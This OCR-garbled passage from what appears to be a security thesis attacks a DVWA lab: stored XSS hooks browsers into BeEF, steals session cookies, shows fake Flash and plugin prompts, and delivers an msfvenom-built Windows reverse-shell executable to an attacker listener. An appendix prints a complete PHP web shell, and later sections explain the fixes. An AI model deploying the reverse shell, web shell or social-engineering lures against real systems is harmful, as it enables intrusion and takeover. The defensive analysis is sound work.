Nexta victim visits the guestbook and hook
Figure8 shows how the Upanel looks when a browser is hooked into it.
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‘ﬁ BeEF 04.6.1-apha | Submit Bug | Logout

Hooked Browsers

Getting Started Logs Current Browser
4 {—] Online Browsers
4 9 dvwatest Details Logs Commands Rider XssRays Ipec MNetwark WebRTC
B N = .Y
@0 AL = Category: Browser (7 Items)
- ] Offline Browsers
Browser Hame: Firefox Initialization
Browser Version: 15 Initialization
Browser UA String: Mozila/s.0 (X11; Uburitu; Linux i686; rv:15.0) Initialization
Gecko/20100101 Firefox!15.0
Browser Language: en-US Initialization
Browser Platform: Linux i686 Initialization
Browser Plugins: iTunes Application Detector-v. DivX® Web Player- Initialization

v., Windows Media Player Plug-in 10 {compatible; Totem)-v.,WVLC Mulimedia
Plugin {compatible Tatern 3.0 1-v., QuickTime Plug-in 7.6 6-v.

Window Size: Width: 1199, Height: 1240 Initilization

= Category: Browser Components [12 ltems])

Flash: Yes Initizlization
VBScript: Mo Initialization
PhoneGap: Mo Initialization
Google Gears: Mo Initialization
Web Sockets: Yes Initialization
QuickTime: Yes Initialization
RealPlayer: Mo Initilization
Windows Media Player: Yes Initialization
WebRTC: MNo Initialization
ActiveX: MNo Initizlization
Session Cookies: Yes Initialization
Persistent Cookies: Yes Initizlization
Basic Requester = Category: Hooked Page (5 ltems) v

Fig 8. TheBeEF Ul panel showing hooked browsers

By opening the commands tab an attacker canseveral readgnade commands against
the victim s browser. For example, cooki es

Cookie?” which returns the cookies of t he

cookie=PHPSESSID=e34tjl2qcher6jquod9n8p1dI3;security=low;
BEEFHOOK=BJOE5Eq4V{DJdpMVMGYOEMhzp
UvO39ylJIBn4VOGIPIgGOxihpmZpV3tNVIVI7TnTPOPEMP7F2VAGYHII

After the cookies haven been retrieveatcessfullythe attacker can use PHPSESStue
to gain accesstothei ct i m’ s s e s s updorthe attddkdo eecidetwhaitte doi t i
For example, if the victim happens to be someone with admin rights the attacker gains these
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same accessright¥ hi s scenari o demonstrates how ea:
using XSSvulnerability which might lead to prét much anything if correct user level is

gain trough stolen sessiohhis could have easily avoided though, if the web server would
have used HttpOniflag in the response header. HttpOfipg tells, if supported by a
browser, to a browser not to reveabkies to any JavaSript cof#6].

XSS and BeEFcan aso be used to initialize different social engineering attaCkse
possible outcome is to inducemdesirecclicks where user is tricked to click a link which
downloadgamalicious payload, for example a file or browser extensigrich is created by
an attacker.

Fake Flash Update

Description: Prompts the user to instal an update to Adobe Flash Player.
The delivered payload could be a custom file, a browser extension or any specific URI.

The provided BEeEF Firefox extension disables PortBanning (ports 20, 21, 22, 25, 110, 143), enables Java, overrides the UserAgent and the default homeinew _tab pages
See Jfextensions/ipec/files/LinkTargetFinderdirectory for the Firefox extension source code

The Chrome extension delivery works on Chrome <= 20. From Chrome 21 things changed in terms of how extensions can be loaded.
See fextensions/demos/flash_uvpdate_chrome_extension’'manifestjson for more info and a sample extension that waorks on latest Chrome.

Id: 100

Image: http:#162.168.56.103 BDD O/adobe/flash_update.png

Payload: Firefox_Extension s
Custom hitp#/162.168.56.103:3000/apiflipec/ff_extension

Payload URI

Fig 9. The fake flash updated settings in BeEF

BeEF has a command call ed *“&roticesuggelstmghésr Up d
userto installan update for Adobe Flash Player. The payload can be custohyzbe
attacker. Here as shownfigure 9the fake flash updater downloads malicious extension for

the user’'s br owsdesrexecu/h gop uptagpears ascshomthiaiigure
10.
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An update to Adobe® Flash® Player Is available.

This update includes improvements in usability, online security and
stability, as well as new features which help content developers deliver
rich and engaging experiences.

Did you know...

» The top 10 Facebook games use the Flash Player. To see more,
visit: www.adobe.com/games.

* Most of the top video sites on the web use Flash Player

¢ Flash Player is installed on over 1.3 billion connected PCs

Note: If you have selected to allow Adobe to install updates, this update
will be installed on your system automatically within 45 days or you can
choose to download it now.

REMIND ME LATER INSTALL

Fig 10. Fake flash pop up generated by BeEF

When the user clicks install a malicious
Another way to get user install a malicious extension is to display fake notification bar
illustrated in the figure 1. Fake notification tells the user additional pling are required

to display content. The notification bar

bar so an unaware user might be tricked to download malicious payloads.
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& An additional plug-in is required to display some elements on this page. | nstall plug-in..

Home | Vulnerability: Stored Cross S

Instructions | i
|

Setup | Reset DB

Brute Force | Message *

Command Injection |

repe | Sign Guestbook

Fig 11 Fake misgg pluginnotificationgeneratedy BeEF

5.2.2 Using the Metasploitto gain the shell access

Metasploit is a penetratio testing tool offering variouslifferent tools and kits for
penetration testef89]. Metasploit can be usedth BeEF to launch attacks against a vigtim
for example, invokin@ reverse shellMetasploit contains a tool called MSFVenom which

can be used to create p[é4]l oads against

Victim Web site Attacker
‘ Inject stored XS5
Fequest a page ’
‘ Feturn a page with malicious link
Request data in the link ’
|
Return malicious file
4 N
Dpen reverse connection ’
‘ Exploit
Victim Web site Attacker

Fig 12. The sequence diegm of the attack
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Figure 12shows the steps required for the attalak geta remote shell access, a payload is

needed. Payload is generated using MSFVenom

msfvenom -ax86 -- platform windows - p windows/shell/reverse_tcp
LHOST=192.168.56.103 LPORT=3333 -b" \ x00" - e x86/shikata_ga_nai -f

exe - o /root/update.exe

This commandcreatesa payload against windowg86-platform The payload opens a
reverse tcp connectiofiRarameters decide which platform the attackargeted, which

method is used angherethe shell should connect.

Found 1 compatible encoders

Attempting to encode payload with 1 iterations of
x86/shikata_ga_nai

x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai chosen with final size 360

Payload size: 360 bytes

Saved as: /root/update.exe

Output is saved to update.exe which is then fed to the victim using techniques described
beforesuchasfake flash update pop up or fake notificatioar. This executable can be

t hough as being a “ coennaetcttaocrk’e rwhsi cl hi Iectoennneerc

To invoke the listenethe following steps are required:
1) Metasploitconsole is opened with commamsfconsole
2) A handler is set with commantse exploit/multi/handler
3) A payloadhandleris set with commandet payload windows/shell/reverse_tcp
4) A host reeds to be defined with commaset LHOST 192.168.56.103
5) A port is defined with commarskt LPORT 3333

The listeneror handlercan now be started by typirxplat. After this the handler starts to
listen if there is any connection to the defined host and Ppbet.process is shown in figure
13.
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Fig 13. The payload handler has started to listen incoming connections.

Fake Flash Update

Description: Prompts the user to install an update to Adobe Flash Player.
The delivered payload could be a custom file, a browser extension or any specific URIL

The provided BeEF Firefox extension disables PortBanning (ports 20, 21, 22, 25, 110, 143), enables Java, overrides the UserAgent and the default homelnew_tab pages.
See fextensions/ipec/files/LinkTargetFinder directory for the Firefox extension source code.

The Chrome extension delivery works on Chrome == 20. From Chrome 21things changed in terms of how extensions can be loaded.
See fextensions/demos/flash_update_chrome_extension’'manifest fson for more info and a sample extension that works on latest Chrome.

5 100

Image: hitp:/192.168.56.103:3000/adobeflash_update.png

Payload: Custom_Payload v
Custom http://192.168.56.103/update exe

Payload URI:

Fig 14. Fake flash updater configuréalpoint to themalicious update.exe

Next, BeEF's Fake Flash Update moduthe i s
figure 14. Custom Payload URL is configured to point to newly created updaté\éhen

the victimdownloadsupdate.exand runs it,lie exploit connects to theayload handleand
shell access i s gr anThefigureg mshowsthat avcomnmectiomis s ¢
opened between the victim and the attacWénen commandlir is run, directories inside
Desktop are printed to the atker. This is shown ithefigure 16.
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Figl5.Shel |l access is granted to victim s sy

Fig 16. Dir command prints out available directories

In the end a shell access was gained by usingW@&rability. However using only XSS
was not enoughs other exploits were required to aslei¢che remote shell access. XSS can
be seen agdoor openewhich might lead to full system take@erwhen used in combination
with, for examplevarious social engineering methotisthis casa fake flash updaigpup
was shown to the victim

The above scenario demonstrateswbestcasescenario.fithe victim hadadecent and up

to-date antivirus software, it would probably have noticed when the victim tried to execute
the malicious softward-or exampleyind o ws ° S e c¢ u rnoticegl anl wasneduser a | s
about this file This is illustrated in the figur&7. However, testingxploitsagainst multiple

antivirus software is out of this thesis’
The presented scenario also shows how easy it is todayecute an attack using different

exploits since the available tools are very sophisticated. Basically only a few commands are

needed to successfully gain a remote shell access.
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‘ Microsoft Security Essentials =NACN X |

Tietokoneen tila: Suojattu

Etusivulle

Naytd kohteet, jotka havaittiin mahdollisesti haitallisiksi, ja niille tehdyt toimet:

(@ Karanteenissa olevat kohteet

Kohteet, joiden sueritus estettiin mutta joita ei poistettu tistokoneesta,
() Sallitut kohteet

Kohteet, joiden suorituksen olet sallinut téssa tistokoneessa,
() Kaikki havaitut kehteet

Tietokoneessa havaitut kohteet.,

Havaittu kohde Halytystaso Paiva
[] & Trojan:Win32/Swrart.A Vakava 15.3.2017 18:52

Luokka: Troijalainen
Kuvaus: Témi ohjelma on vaarallinen ja sucrittaa hyGkkid)dlts perdisin olevia komentoja,
Suositeltu toiminto: Poista timd ohjelma heti,

Kohteet:
file:Chupdate\update exe

Lisdtietoja téstd kohteesta on Internetissd

Py Poista kaikki ¥ Palauta

Fig 17. Microsoft Security Essentia(gn Finnish)warnsthe victimaboutthe malicious file.

5.3 Analysis of the attacks

This section describes wliye web applicatioallowed the attacks to happand how they

could have been preventdthe server side was breached using SQL injection and the client
side using XSSulnerability.

5.3.1 SQL injection on the server side

SQL injection attacks are possible when tF

inputted commandwithout any validationThe figure B shows how the web application

passes user given input straight to the MySQL interpreter.
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$id % REQUEST[ 'id' ];

n

$query irst_name, last_name sers user_id "$id';";
$result _query( $query ) ( mysql_error() "</pre>' );

Fig 18. Vulnerable handling atheuser given input

The first problem is that user given input is not validated at all. In this tteseser_idfield

is intege so there is no need to accept any other values than integers. In general, white list
validation should be used against any user given itipilte input field has characters that

are not authorized, it is just better to stop and return an error bleéoirgout is processed by

the web application.

The second problems it that the web application is not utilizing prepared statements.
Prepared statements consist of three different stages:
1) Prepare: SQL statement template is created. This defines howqtleey will be
processed by the server.
2) Bind: In this stage, thegpameters are set to the query.
3) Execute In this stage the query is executed by the database.

Prepare statements separates user given input from the actual query so an attacker cannot
change the intent of the queryhe server knows what is the actual query and at&athe

parameters it containglsing prepare statements render SQL injectiortkdtabsolet¢65].

e, last_name

Fig 19. The idparameter is validated and prepare statement is used
Figure B displays proper handling of user given input. It is checked that the given input is

integer and prepare statements are used for database access. In addition, some kind of output

validation might be in place so that only the needed fields are returned.
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5.3.2 XSS on the client side

The client side was breached when a malicious comment was posted to the quest book. The

comment contained JavaScript code which loaded an external Javéifcript

trim{ $ POST[ ‘'mtx
trim{ $_POST[ 't

$name

$query = Ot [ : name' );";
$r-e sult ysq qu QU Lpre>» ysql_error b3 ] H

Fig 20. The message is saved to database withguvaldationor encoding.

Figure 20shows how the web application handles saving a message to the quest book. The
messager the namas not validated at allLike in the SQL injection analysis, white list
validation should be used before the message reaches the MiyB€preter. Also,
characters in the messagein the namere notencoded to HTML entities before tlata

is savedProper encoding of characters is shown on the table 1. This prevents the message

turning into executable code when it is outputted ¢éoehd user.

, :name );" );

Fig 21. Character encoding is added to the message and name fields.
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Figure 21 illustrates proper handling of the message and name fields-furtdBon
htmiscpecialcharss used to convert special characters to HTML entities. Finatgpare

statement is used when the data is saved to the database.

Table 1 Character encoding to prevesxecutableode[66].

Character Encodng

& &amp;

< &lt;

> &gt;
&quot;

' E&#X27;

/ &#x2F,;
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6 DISCUSSION

The attacks conducted agatrtbe servewould have been easily avoided if proper coding
mechanics were used like inpealidationpreventing SQL injections. One might think that
today’ s web applications and | i br #diesibets wo
unfortunately that is not the cagdmost daily a new web application vulnerabiigyposted

to the Exploit Databadd9] suffering from SQL injection. Some of these vulnerabilities are

as simple to exploit as demstrated in this study ibrariesthat are not properly tested or
maintainedshould be avoided. When an external library is needed, its code should be
reviewed and security should be ensured using, for example, Penetration testing. Even when
using more poplar libraries such as PHPMailer or SwiftMailene should not trust to be

safe. Both of these libraries were discovered to be vulnerable against remote code execution
where an attacker could craft a spedrglut whichc ont en't was passed
command ling67]. Again, this attack could have been avoided if user input was sanitized
and validated properly befothe input was used ke library. This shows how important

it is not to expect any library to be bullet pfoAll input data should be validated and
rejected if necessary befalee data is used in other parts of thetesy.

The client side attack was successful because the victim did not realize that clicking
everything in the internet might not be a goo@adThe web sitealso suffered from
unvalidated user input which made it possible to conduct the attack. To avoid similar attacks
end users should be educated of possible harmfulness of the ifferm@tampledifferent

social engineering attacks amayvery commonSome of these are somewhat clever. In
onecaseaf  aw f ound i n-méthodas dbssediwhich spikedyCPU usage to

al most 100%. At the same time the infeetdd page
andthe user was given phone number to solve the isg68]. Figure 22 shows how the

attack is presented to the victim wbould call to the given numbeAttackersmight lure

the victim to install maliciousxecutabldy promising that it is goingptfix the issue.
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7) Microsoft Security Alert X \§

[

X 1) | ® perfecthosting.co/alert/0123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960 r

B Windows Task Manager [E=3 HeR (=]
=. Microsoft

Microsoft.Inc Warning!System has been infected

Applications | Processes | services | Performance | etworking | users |

CPU Usage

Microsoft Identification-Malware infected website visited. Malicious data transferred to system fron Physical Memory (MB) System

Total 2047 Handes 17080
access.System Registry files may be changed and can be used for unethical activites. Cached 77 Threads a5y
Avaiable 76  Processes 56
Free 0 UpTime 0:02:17:08

Commit (M8) 38347045

System has been infected by Virus Trojan.worm!055BCCACIFEC — Personal information (Bank Det

Cards and Account Password) may be stolen.System IP Address 112.15.16.175 is unmasked and ¢

for virus spreading.Microsoft has reported to the connected ISP to implement new firewall.User sh)| roceses
immediatiey to Technical Support 1-844-507-3556 for free system scan

D Automatically report details of possible security incidents to Microsoft. Privacy policy

1-844-507-3556

Fig 22. System has beémnfected by aninfinite loop in JavaScriptode[68]

If there is any doubt that the end user might not be aware of conseqoéheesful sites
investingto upto-date antivirus software might be a good ideae web browser should
alsoautomatically update itselfSome browserdike Chrome offer XSS protection where

the browser tries to figure out if JavaScript in the webpage was part of the reqioesingd
possible XSS wvulnerabilityln such cases, the browser would stop script execution
automatically{69]. This method is only effective against reflected XSS but at the moment

cannot prevent stored XSS used in this study.

The impactof vulneralle web applicationias been so big thatgocompanies providing
services in the internet have started to @Goibgle has realized that its services might not be
bullet proof. Since November 2010 Google has been running a bug bowgsam where
bugreporters whasuccessfully discover and repoulnerabilitiesto Google are rewarded

The rewards ar'om a few hundred to several thousand dollars depending how critical and
from which servicethe vulnerability was founf70]. Bug bounty programs offer several
advantages such as reduced development cost, creating interest in product and leading to
great number of alternatives as winit@kesall design creates competitive mindset among
competitord71]. Bug bounty programs are also implemented by other big companies such
asReddit These companies have realizbdt harnessing whole development community to
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assistin finding vulnerabilities reduces harm and cost in the long ra@nithe other option

might be over billion accounts stolen like in Yahoo dag3.

This study focuses on worst case scenawiosnthere is basically no additional protection
available, for example, amtivirus softwareThe impact of otheprotection measurements
provided by the O&re nottonsidered eithe©Onesuchexamplenvould beAppArmor which,

for example, Ubuntu uses to limit write rights for different uskrsaddition to this new
vulnerabilities and weaknesse® dound on daily basis from web applications and in this
study the very basic vulnerabiliti@gere used to gain system access. In the future studies
this could be extended to also take into account possible counter measurements and see if
they offer any potection and how they can be bypassathen OWASP publishesnew

top-10 list it could be revisitedf therearenew vulnerabilitiescompared to exploits in this

study, the vulnerabilities could be studied and see what can be achieved using them.
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7 CONCLUSIONS

In this study attacks were carried out against a client and a server. lodsatha shell
access was gaaal Onthe client side XSS vulnerability combined with malicious payload
provided byMSFwasused to trick a victim to download arh&ul executable which created

a reverseonnectiorbetween a client and an attacker. In the server side SQL injection was
used to gain access to the database and a file was ondathgpased commandgprovided

by an attacketo the OS. The file was creal to a location which was accessible by the web

server (Apache, in this cas)d commands were passed as HTTP requests

Both, client and server sidajtackswere possible becausesufficient user input validation
was practiced The attacks could haveeen avoided if the malicioube user inputwas
rejected Addition to this, in the server sidegpare statements were not used what allowed
MySQL injection attacks to happelm. the client side the user input was not encoéésb,

the environments wermsot properly configured. The server side allowed the MySQL user to
write any directoryThe client side did not have proper antivirus softwanéech might have

detected the malicious executable

The attacks were easy carry out since the tools used were extensiverequired only a
little interaction from the user to launch successful attagsh little learning, almost
anyone can take these tools into use and use these atigaksst vulnerable web
applicatiors. On the other hand, the attack scenarios presented in the section 5 can be easily

avoidedf OWASP’' s gui del i nes ar ewedbapplicationed when
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APPENDIX 1. The malicious PHP file generated by sqglmap

<?php
$c =$ REQUEST["cmd"];
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time', 0);
$z = @ini_get('disable_functions');
if (lempty($z)) {
$z = preg_replace(/[, ]+/',',", $2);
$z = explode(',, $2);
$z = array_map('trim', $2);

}else {
$z=arra (),
}
$c=3%c."2>&1 \n"
function f($n)
{
global $z;
return is_callable($n) and !in_array($n, $z);
}
if (f('system")) {
ob_start();
system($c);

$w = ob_get_contents();
ob_end_clean();
} elseif (f('proc_open")) {
$y = proc_open($c, array(
array/(
pipe,
r

array(

pipe,

array/(

pipe,



APPENDIX 1. The malicious PHP file generated by sqglmagcontinues)

w
)
), $Y);
$w = NULL;
while ('feof($t[1])) {
$w .= fread($t[1], 512);
}
@proc_close($y);
} elseif (f('shell_exec") {
$w = shell_exec($c);
} elseif (f('passthru’)) {
ob_start();
passthru($c);
$w = ob_get_contents();
ob_end_clean();
} elseif (f(popen’)) {
$x = popen($c, r);
$w = NULL;
if (is_resource($x)) {
while ('feof($x)) {
$w .= fread($x, 512);

}

@pclose($x);
} elseif (f('exec") {

$w = array();

exec($c, $w);

$w = join(chr(10), $w) . chr(10);
}else {

$w =0;
}
print "<pre>" . $w . "</pre>";
?>



